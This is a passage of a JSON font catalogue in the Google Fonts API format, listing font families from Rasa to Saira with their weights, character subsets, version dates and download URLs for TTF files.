","regular":"http://fonts.gstatic.com/s/rasa/v6/xn7vYHIn1mWmTqJelgiQV9w.ttf","500":"http://fonts.gstatic.com/s/rasa/v6/xn7gYHIn1mWmdlZ3sgC7S9XdZN8.ttf","600":"http://fonts.gstatic.com/s/rasa/v6/xn7gYHIn1mWmdnpwsgC7S9XdZN8.ttf","700":"http://fonts.gstatic.com/s/rasa/v6/xn7gYHIn1mWmdh5xsgC7S9XdZN8.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Rationale","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/rationale/v12/9XUnlJ92n0_JFxHIfHcsdlFMzLC2Zw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Ravi Prakash","variants":["regular"],"subsets":["latin","telugu"],"version":"v7","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/raviprakash/v7/gokpH6fsDkVrF9Bv9X8SOAKHmNZEq6TTFw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Recursive","variants":["300","regular","500","600","700","800","900"],"subsets":["latin","vietnamese"],"version":"v22","lastModified":"2020-11-20","files":{"300":"http://fonts.gstatic.com/s/recursive/v22/8vJN7wMr0mhh-RQChyHEH06TlXhq_gukbYrFMk1QuAIcyEwG_X-dpEfaE5YaERmK-CImKsvxvU-MXGX2fSqasNfUvz2xbXfn1uEQadDck018vwxjDJCL.ttf","regular":"http://fonts.gstatic.com/s/recursive/v22/8vJN7wMr0mhh-RQChyHEH06TlXhq_gukbYrFMk1QuAIcyEwG_X-dpEfaE5YaERmK-CImKsvxvU-MXGX2fSqasNfUvz2xbXfn1uEQadCCk018vwxjDJCL.ttf","500":"http://fonts.gstatic.com/s/recursive/v22/8vJN7wMr0mhh-RQChyHEH06TlXhq_gukbYrFMk1QuAIcyEwG_X-dpEfaE5YaERmK-CImKsvxvU-MXGX2fSqasNfUvz2xbXfn1uEQadCwk018vwxjDJCL.ttf","600":"http://fonts.gstatic.com/s/recursive/v22/8vJN7wMr0mhh-RQChyHEH06TlXhq_gukbYrFMk1QuAIcyEwG_X-dpEfaE5YaERmK-CImKsvxvU-MXGX2fSqasNfUvz2xbXfn1uEQadBclE18vwxjDJCL.ttf","700":"http://fonts.gstatic.com/s/recursive/v22/8vJN7wMr0mhh-RQChyHEH06TlXhq_gukbYrFMk1QuAIcyEwG_X-dpEfaE5YaERmK-CImKsvxvU-MXGX2fSqasNfUvz2xbXfn1uEQadBllE18vwxjDJCL.ttf","800":"http://fonts.gstatic.com/s/recursive/v22/8vJN7wMr0mhh-RQChyHEH06TlXhq_gukbYrFMk1QuAIcyEwG_X-dpEfaE5YaERmK-CImKsvxvU-MXGX2fSqasNfUvz2xbXfn1uEQadAClE18vwxjDJCL.ttf","900":"http://fonts.gstatic.com/s/recursive/v22/8vJN7wMr0mhh-RQChyHEH06TlXhq_gukbYrFMk1QuAIcyEwG_X-dpEfaE5YaERmK-CImKsvxvU-MXGX2fSqasNfUvz2xbXfn1uEQadArlE18vwxjDJCL.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Red Hat Display","variants":["regular","italic","500","500italic","700","700italic","900","900italic"],"subsets":["latin","latin-ext"],"version":"v4","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/redhatdisplay/v4/8vIQ7wUr0m80wwYf0QCXZzYzUoTQ-jSgZYvdCQ.ttf","italic":"http://fonts.gstatic.com/s/redhatdisplay/v4/8vIS7wUr0m80wwYf0QCXZzYzUoTg-D6kR47NCV5Z.ttf","500":"http://fonts.gstatic.com/s/redhatdisplay/v4/8vIV7wUr0m80wwYf0QCXZzYzUoToDh2EbaDBAEdAbw.ttf","500italic":"http://fonts.gstatic.com/s/redhatdisplay/v4/8vIX7wUr0m80wwYf0QCXZzYzUoTg-AZQbqrFIkJQb7zU.ttf","700":"http://fonts.gstatic.com/s/redhatdisplay/v4/8vIV7wUr0m80wwYf0QCXZzYzUoToRhuEbaDBAEdAbw.ttf","700italic":"http://fonts.gstatic.com/s/redhatdisplay/v4/8vIX7wUr0m80wwYf0QCXZzYzUoTg-AYYaKrFIkJQb7zU.ttf","900":"http://fonts.gstatic.com/s/redhatdisplay/v4/8vIV7wUr0m80wwYf0QCXZzYzUoTofhmEbaDBAEdAbw.ttf","900italic":"http://fonts.gstatic.com/s/redhatdisplay/v4/8vIX7wUr0m80wwYf0QCXZzYzUoTg-AYgaqrFIkJQb7zU.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Red Hat Text","variants":["regular","italic","500","500italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v3","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/redhattext/v3/RrQXbohi_ic6B3yVSzGBrMxgb60sE8yZPA.ttf","italic":"http://fonts.gstatic.com/s/redhattext/v3/RrQJbohi_ic6B3yVSzGBrMxQbacoMcmJPECN.ttf","500":"http://fonts.gstatic.com/s/redhattext/v3/RrQIbohi_ic6B3yVSzGBrMxYm4QIG-eFNVmULg.ttf","500italic":"http://fonts.gstatic.com/s/redhattext/v3/RrQKbohi_ic6B3yVSzGBrMxQbZ_cGO2BF1yELmgy.ttf","700":"http://fonts.gstatic.com/s/redhattext/v3/RrQIbohi_ic6B3yVSzGBrMxY04IIG-eFNVmULg.ttf","700italic":"http://fonts.gstatic.com/s/redhattext/v3/RrQKbohi_ic6B3yVSzGBrMxQbZ-UHu2BF1yELmgy.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Red Rose","variants":["300","regular","500","600","700"],"subsets":["latin","latin-ext","vietnamese"],"version":"v3","lastModified":"2020-10-08","files":{"300":"http://fonts.gstatic.com/s/redrose/v3/QdVISTYiLBjouPgEUajvsfWwDtc3MH8y8_sDcjSsYUVUjg.ttf","regular":"http://fonts.gstatic.com/s/redrose/v3/QdVISTYiLBjouPgEUajvsfWwDtc3MH8yrfsDcjSsYUVUjg.ttf","500":"http://fonts.gstatic.com/s/redrose/v3/QdVISTYiLBjouPgEUajvsfWwDtc3MH8yn_sDcjSsYUVUjg.ttf","600":"http://fonts.gstatic.com/s/redrose/v3/QdVISTYiLBjouPgEUajvsfWwDtc3MH8yc_wDcjSsYUVUjg.ttf","700":"http://fonts.gstatic.com/s/redrose/v3/QdVISTYiLBjouPgEUajvsfWwDtc3MH8ySvwDcjSsYUVUjg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Redressed","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/redressed/v11/x3dickHUbrmJ7wMy9MsBfPACvy_1BA.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Reem Kufi","variants":["regular"],"subsets":["arabic","latin"],"version":"v9","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/reemkufi/v9/2sDcZGJLip7W2J7v7wQDb2-4C7wFZQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Reenie Beanie","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/reeniebeanie/v11/z7NSdR76eDkaJKZJFkkjuvWxbP2_qoOgf_w.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Revalia","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v7","lastModified":"2020-07-15","files":{"regular":"http://fonts.gstatic.com/s/revalia/v7/WwkexPimBE2-4ZPEeVruNIgJSNM.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Rhodium Libre","variants":["regular"],"subsets":["devanagari","latin","latin-ext"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/rhodiumlibre/v5/1q2AY5adA0tn_ukeHcQHqpx6pETLeo2gm2U.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Ribeye","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/ribeye/v9/L0x8DFMxk1MP9R3RvPCmRSlUig.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Ribeye Marrow","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/ribeyemarrow/v10/GFDsWApshnqMRO2JdtRZ2d0vEAwTVWgKdtw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Righteous","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/righteous/v9/1cXxaUPXBpj2rGoU7C9mj3uEicG01A.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Risque","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/risque/v8/VdGfAZUfHosahXxoCUYVBJ-T5g.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Roboto","variants":["100","100italic","300","300italic","regular","italic","500","500italic","700","700italic","900","900italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v20","lastModified":"2019-07-24","files":{"100":"http://fonts.gstatic.com/s/roboto/v20/KFOkCnqEu92Fr1MmgWxPKTM1K9nz.ttf","100italic":"http://fonts.gstatic.com/s/roboto/v20/KFOiCnqEu92Fr1Mu51QrIzcXLsnzjYk.ttf","300":"http://fonts.gstatic.com/s/roboto/v20/KFOlCnqEu92Fr1MmSU5vAx05IsDqlA.ttf","300italic":"http://fonts.gstatic.com/s/roboto/v20/KFOjCnqEu92Fr1Mu51TjARc9AMX6lJBP.ttf","regular":"http://fonts.gstatic.com/s/roboto/v20/KFOmCnqEu92Fr1Me5WZLCzYlKw.ttf","italic":"http://fonts.gstatic.com/s/roboto/v20/KFOkCnqEu92Fr1Mu52xPKTM1K9nz.ttf","500":"http://fonts.gstatic.com/s/roboto/v20/KFOlCnqEu92Fr1MmEU9vAx05IsDqlA.ttf","500italic":"http://fonts.gstatic.com/s/roboto/v20/KFOjCnqEu92Fr1Mu51S7ABc9AMX6lJBP.ttf","700":"http://fonts.gstatic.com/s/roboto/v20/KFOlCnqEu92Fr1MmWUlvAx05IsDqlA.ttf","700italic":"http://fonts.gstatic.com/s/roboto/v20/KFOjCnqEu92Fr1Mu51TzBhc9AMX6lJBP.ttf","900":"http://fonts.gstatic.com/s/roboto/v20/KFOlCnqEu92Fr1MmYUtvAx05IsDqlA.ttf","900italic":"http://fonts.gstatic.com/s/roboto/v20/KFOjCnqEu92Fr1Mu51TLBBc9AMX6lJBP.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Roboto Condensed","variants":["300","300italic","regular","italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v19","lastModified":"2020-09-15","files":{"300":"http://fonts.gstatic.com/s/robotocondensed/v19/ieVi2ZhZI2eCN5jzbjEETS9weq8-33mZKCMSbvtdYyQ.ttf","300italic":"http://fonts.gstatic.com/s/robotocondensed/v19/ieVg2ZhZI2eCN5jzbjEETS9weq8-19eDpCEYatlYcyRi4A.ttf","regular":"http://fonts.gstatic.com/s/robotocondensed/v19/ieVl2ZhZI2eCN5jzbjEETS9weq8-59WxDCs5cvI.ttf","italic":"http://fonts.gstatic.com/s/robotocondensed/v19/ieVj2ZhZI2eCN5jzbjEETS9weq8-19e7CAk8YvJEeg.ttf","700":"http://fonts.gstatic.com/s/robotocondensed/v19/ieVi2ZhZI2eCN5jzbjEETS9weq8-32meKCMSbvtdYyQ.ttf","700italic":"http://fonts.gstatic.com/s/robotocondensed/v19/ieVg2ZhZI2eCN5jzbjEETS9weq8-19eDtCYYatlYcyRi4A.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Roboto Mono","variants":["100","200","300","regular","500","600","700","100italic","200italic","300italic","italic","500italic","600italic","700italic"],"subsets":["cyrillic","cyrillic-ext","greek","latin","latin-ext","vietnamese"],"version":"v12","lastModified":"2020-07-13","files":{"100":"http://fonts.gstatic.com/s/robotomono/v12/L0xuDF4xlVMF-BfR8bXMIhJHg45mwgGEFl0_3vuPQ--5Ip2sSQ.ttf","200":"http://fonts.gstatic.com/s/robotomono/v12/L0xuDF4xlVMF-BfR8bXMIhJHg45mwgGEFl0_XvqPQ--5Ip2sSQ.ttf","300":"http://fonts.gstatic.com/s/robotomono/v12/L0xuDF4xlVMF-BfR8bXMIhJHg45mwgGEFl0_gPqPQ--5Ip2sSQ.ttf","regular":"http://fonts.gstatic.com/s/robotomono/v12/L0xuDF4xlVMF-BfR8bXMIhJHg45mwgGEFl0_3vqPQ--5Ip2sSQ.ttf","500":"http://fonts.gstatic.com/s/robotomono/v12/L0xuDF4xlVMF-BfR8bXMIhJHg45mwgGEFl0_7PqPQ--5Ip2sSQ.ttf","600":"http://fonts.gstatic.com/s/robotomono/v12/L0xuDF4xlVMF-BfR8bXMIhJHg45mwgGEFl0_AP2PQ--5Ip2sSQ.ttf","700":"http://fonts.gstatic.com/s/robotomono/v12/L0xuDF4xlVMF-BfR8bXMIhJHg45mwgGEFl0_Of2PQ--5Ip2sSQ.ttf","100italic":"http://fonts.gstatic.com/s/robotomono/v12/L0xoDF4xlVMF-BfR8bXMIjhOsXG-q2oeuFoqFrlnAeW9AJi8SZwt.ttf","200italic":"http://fonts.gstatic.com/s/robotomono/v12/L0xoDF4xlVMF-BfR8bXMIjhOsXG-q2oeuFoqFrnnAOW9AJi8SZwt.ttf","300italic":"http://fonts.gstatic.com/s/robotomono/v12/L0xoDF4xlVMF-BfR8bXMIjhOsXG-q2oeuFoqFrk5AOW9AJi8SZwt.ttf","italic":"http://fonts.gstatic.com/s/robotomono/v12/L0xoDF4xlVMF-BfR8bXMIjhOsXG-q2oeuFoqFrlnAOW9AJi8SZwt.ttf","500italic":"http://fonts.gstatic.com/s/robotomono/v12/L0xoDF4xlVMF-BfR8bXMIjhOsXG-q2oeuFoqFrlVAOW9AJi8SZwt.ttf","600italic":"http://fonts.gstatic.com/s/robotomono/v12/L0xoDF4xlVMF-BfR8bXMIjhOsXG-q2oeuFoqFrm5B-W9AJi8SZwt.ttf","700italic":"http://fonts.gstatic.com/s/robotomono/v12/L0xoDF4xlVMF-BfR8bXMIjhOsXG-q2oeuFoqFrmAB-W9AJi8SZwt.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Roboto Slab","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v12","lastModified":"2020-06-26","files":{"100":"http://fonts.gstatic.com/s/robotoslab/v12/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjojIWWaG5iddG-1A.ttf","200":"http://fonts.gstatic.com/s/robotoslab/v12/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjoDISWaG5iddG-1A.ttf","300":"http://fonts.gstatic.com/s/robotoslab/v12/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjo0oSWaG5iddG-1A.ttf","regular":"http://fonts.gstatic.com/s/robotoslab/v12/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjojISWaG5iddG-1A.ttf","500":"http://fonts.gstatic.com/s/robotoslab/v12/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjovoSWaG5iddG-1A.ttf","600":"http://fonts.gstatic.com/s/robotoslab/v12/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjoUoOWaG5iddG-1A.ttf","700":"http://fonts.gstatic.com/s/robotoslab/v12/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjoa4OWaG5iddG-1A.ttf","800":"http://fonts.gstatic.com/s/robotoslab/v12/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjoDIOWaG5iddG-1A.ttf","900":"http://fonts.gstatic.com/s/robotoslab/v12/BngbUXZYTXPIvIBgJJSb6s3BzlRRfKOFbvjoJYOWaG5iddG-1A.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Rochester","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/rochester/v11/6ae-4KCqVa4Zy6Fif-Uy31vWNTMwoQ.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Rock Salt","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/rocksalt/v11/MwQ0bhv11fWD6QsAVOZbsEk7hbBWrA.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Rokkitt","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v19","lastModified":"2020-06-26","files":{"100":"http://fonts.gstatic.com/s/rokkitt/v19/qFdb35qfgYFjGy5hukqqhw5XeRgdi1rydpDLE76HvN6n.ttf","200":"http://fonts.gstatic.com/s/rokkitt/v19/qFdb35qfgYFjGy5hukqqhw5XeRgdi1pyd5DLE76HvN6n.ttf","300":"http://fonts.gstatic.com/s/rokkitt/v19/qFdb35qfgYFjGy5hukqqhw5XeRgdi1qsd5DLE76HvN6n.ttf","regular":"http://fonts.gstatic.com/s/rokkitt/v19/qFdb35qfgYFjGy5hukqqhw5XeRgdi1ryd5DLE76HvN6n.ttf","500":"http://fonts.gstatic.com/s/rokkitt/v19/qFdb35qfgYFjGy5hukqqhw5XeRgdi1rAd5DLE76HvN6n.ttf","600":"http://fonts.gstatic.com/s/rokkitt/v19/qFdb35qfgYFjGy5hukqqhw5XeRgdi1oscJDLE76HvN6n.ttf","700":"http://fonts.gstatic.com/s/rokkitt/v19/qFdb35qfgYFjGy5hukqqhw5XeRgdi1oVcJDLE76HvN6n.ttf","800":"http://fonts.gstatic.com/s/rokkitt/v19/qFdb35qfgYFjGy5hukqqhw5XeRgdi1pycJDLE76HvN6n.ttf","900":"http://fonts.gstatic.com/s/rokkitt/v19/qFdb35qfgYFjGy5hukqqhw5XeRgdi1pbcJDLE76HvN6n.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Romanesco","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/romanesco/v9/w8gYH2ozQOY7_r_J7mSn3HwLqOqSBg.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Ropa Sans","variants":["regular","italic"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/ropasans/v10/EYqxmaNOzLlWtsZSScyKWjloU5KP2g.ttf","italic":"http://fonts.gstatic.com/s/ropasans/v10/EYq3maNOzLlWtsZSScy6WDNscZef2mNE.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Rosario","variants":["300","regular","500","600","700","300italic","italic","500italic","600italic","700italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v18","lastModified":"2020-06-26","files":{"300":"http://fonts.gstatic.com/s/rosario/v18/xfuu0WDhWW_fOEoY8l_VPNZfB7jPM69GCWczd-YnOzUD.ttf","regular":"http://fonts.gstatic.com/s/rosario/v18/xfuu0WDhWW_fOEoY8l_VPNZfB7jPM68YCWczd-YnOzUD.ttf","500":"http://fonts.gstatic.com/s/rosario/v18/xfuu0WDhWW_fOEoY8l_VPNZfB7jPM68qCWczd-YnOzUD.ttf","600":"http://fonts.gstatic.com/s/rosario/v18/xfuu0WDhWW_fOEoY8l_VPNZfB7jPM6_GDmczd-YnOzUD.ttf","700":"http://fonts.gstatic.com/s/rosario/v18/xfuu0WDhWW_fOEoY8l_VPNZfB7jPM6__Dmczd-YnOzUD.ttf","300italic":"http://fonts.gstatic.com/s/rosario/v18/xfug0WDhWW_fOEoY2Fbnww42bCJhNLrQStFwfeIFPiUDn08.ttf","italic":"http://fonts.gstatic.com/s/rosario/v18/xfug0WDhWW_fOEoY2Fbnww42bCJhNLrQSo9wfeIFPiUDn08.ttf","500italic":"http://fonts.gstatic.com/s/rosario/v18/xfug0WDhWW_fOEoY2Fbnww42bCJhNLrQSr1wfeIFPiUDn08.ttf","600italic":"http://fonts.gstatic.com/s/rosario/v18/xfug0WDhWW_fOEoY2Fbnww42bCJhNLrQSlF3feIFPiUDn08.ttf","700italic":"http://fonts.gstatic.com/s/rosario/v18/xfug0WDhWW_fOEoY2Fbnww42bCJhNLrQSmh3feIFPiUDn08.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Rosarivo","variants":["regular","italic"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/rosarivo/v8/PlI-Fl2lO6N9f8HaNAeC2nhMnNy5.ttf","italic":"http://fonts.gstatic.com/s/rosarivo/v8/PlI4Fl2lO6N9f8HaNDeA0Hxumcy5ZX8.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Rouge Script","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/rougescript/v9/LYjFdGbiklMoCIQOw1Ep3S4PVPXbUJWq9g.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Rowdies","variants":["300","regular","700"],"subsets":["latin","latin-ext","vietnamese"],"version":"v2","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/rowdies/v2/ptRMTieMYPNBAK219hth5O7yKQNute8.ttf","regular":"http://fonts.gstatic.com/s/rowdies/v2/ptRJTieMYPNBAK21zrdJwObZNQo.ttf","700":"http://fonts.gstatic.com/s/rowdies/v2/ptRMTieMYPNBAK219gtm5O7yKQNute8.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Rozha One","variants":["regular"],"subsets":["devanagari","latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/rozhaone/v8/AlZy_zVFtYP12Zncg2khdXf4XB0Tow.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Rubik","variants":["300","regular","500","600","700","800","900","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["cyrillic","cyrillic-ext","hebrew","latin","latin-ext"],"version":"v11","lastModified":"2020-09-29","files":{"300":"http://fonts.gstatic.com/s/rubik/v11/iJWZBXyIfDnIV5PNhY1KTN7Z-Yh-WYi1UE80V4bVkA.ttf","regular":"http://fonts.gstatic.com/s/rubik/v11/iJWZBXyIfDnIV5PNhY1KTN7Z-Yh-B4i1UE80V4bVkA.ttf","500":"http://fonts.gstatic.com/s/rubik/v11/iJWZBXyIfDnIV5PNhY1KTN7Z-Yh-NYi1UE80V4bVkA.ttf","600":"http://fonts.gstatic.com/s/rubik/v11/iJWZBXyIfDnIV5PNhY1KTN7Z-Yh-2Y-1UE80V4bVkA.ttf","700":"http://fonts.gstatic.com/s/rubik/v11/iJWZBXyIfDnIV5PNhY1KTN7Z-Yh-4I-1UE80V4bVkA.ttf","800":"http://fonts.gstatic.com/s/rubik/v11/iJWZBXyIfDnIV5PNhY1KTN7Z-Yh-h4-1UE80V4bVkA.ttf","900":"http://fonts.gstatic.com/s/rubik/v11/iJWZBXyIfDnIV5PNhY1KTN7Z-Yh-ro-1UE80V4bVkA.ttf","300italic":"http://fonts.gstatic.com/s/rubik/v11/iJWbBXyIfDnIV7nEt3KSJbVDV49rz8sDE0UwdYPFkJ1O.ttf","italic":"http://fonts.gstatic.com/s/rubik/v11/iJWbBXyIfDnIV7nEt3KSJbVDV49rz8tdE0UwdYPFkJ1O.ttf","500italic":"http://fonts.gstatic.com/s/rubik/v11/iJWbBXyIfDnIV7nEt3KSJbVDV49rz8tvE0UwdYPFkJ1O.ttf","600italic":"http://fonts.gstatic.com/s/rubik/v11/iJWbBXyIfDnIV7nEt3KSJbVDV49rz8uDFEUwdYPFkJ1O.ttf","700italic":"http://fonts.gstatic.com/s/rubik/v11/iJWbBXyIfDnIV7nEt3KSJbVDV49rz8u6FEUwdYPFkJ1O.ttf","800italic":"http://fonts.gstatic.com/s/rubik/v11/iJWbBXyIfDnIV7nEt3KSJbVDV49rz8vdFEUwdYPFkJ1O.ttf","900italic":"http://fonts.gstatic.com/s/rubik/v11/iJWbBXyIfDnIV7nEt3KSJbVDV49rz8v0FEUwdYPFkJ1O.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Rubik Mono One","variants":["regular"],"subsets":["cyrillic","latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/rubikmonoone/v9/UqyJK8kPP3hjw6ANTdfRk9YSN-8wRqQrc_j9.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Ruda","variants":["regular","500","600","700","800","900"],"subsets":["cyrillic","latin","latin-ext","vietnamese"],"version":"v13","lastModified":"2020-06-26","files":{"regular":"http://fonts.gstatic.com/s/ruda/v13/k3kKo8YQJOpFgHQ1mQ5VkEbUKaJFsi_-2KiSGg-H.ttf","500":"http://fonts.gstatic.com/s/ruda/v13/k3kKo8YQJOpFgHQ1mQ5VkEbUKaJ3si_-2KiSGg-H.ttf","600":"http://fonts.gstatic.com/s/ruda/v13/k3kKo8YQJOpFgHQ1mQ5VkEbUKaKbtS_-2KiSGg-H.ttf","700":"http://fonts.gstatic.com/s/ruda/v13/k3kKo8YQJOpFgHQ1mQ5VkEbUKaKitS_-2KiSGg-H.ttf","800":"http://fonts.gstatic.com/s/ruda/v13/k3kKo8YQJOpFgHQ1mQ5VkEbUKaLFtS_-2KiSGg-H.ttf","900":"http://fonts.gstatic.com/s/ruda/v13/k3kKo8YQJOpFgHQ1mQ5VkEbUKaLstS_-2KiSGg-H.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Rufina","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/rufina/v8/Yq6V-LyURyLy-aKyoxRktOdClg.ttf","700":"http://fonts.gstatic.com/s/rufina/v8/Yq6W-LyURyLy-aKKHztAvMxenxE0SA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Ruge Boogie","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/rugeboogie/v11/JIA3UVFwbHRF_GIWSMhKNROiPzUveSxy.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Ruluko","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/ruluko/v8/xMQVuFNZVaODtm0pC6WzKX_QmA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Rum Raisin","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/rumraisin/v8/nwpRtKu3Ih8D5avB4h2uJ3-IywA7eMM.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Ruslan Display","variants":["regular"],"subsets":["cyrillic","latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/ruslandisplay/v11/Gw6jwczl81XcIZuckK_e3UpfdzxrldyFvm1n.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Russo One","variants":["regular"],"subsets":["cyrillic","latin","latin-ext"],"version":"v9","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/russoone/v9/Z9XUDmZRWg6M1LvRYsH-yMOInrib9Q.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Ruthie","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/ruthie/v11/gokvH63sGkdqXuU9lD53Q2u_mQ.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Rye","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/rye/v8/r05XGLJT86YDFpTsXOqx4w.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Sacramento","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/sacramento/v8/buEzpo6gcdjy0EiZMBUG0CoV_NxLeiw.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Sahitya","variants":["regular","700"],"subsets":["devanagari","latin"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sahitya/v5/6qLAKZkOuhnuqlJAaScFPywEDnI.ttf","700":"http://fonts.gstatic.com/s/sahitya/v5/6qLFKZkOuhnuqlJAUZsqGyQvEnvSexI.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Sail","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sail/v11/DPEjYwiBxwYJFBTDADYAbvw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Saira","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v5","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/saira/v5/mem-Ya2wxmKQyNFETZY_VrUfTck.ttf","200":"http://fonts.gstatic.com/s/saira/v5/mem9Ya2wxmKQyNHobLYVeLkWVNBt.ttf","300":"http://fonts.gstatic.com/s/saira/v5/mem9Ya2wxmKQyNGMb7YVeLkWVNBt.tt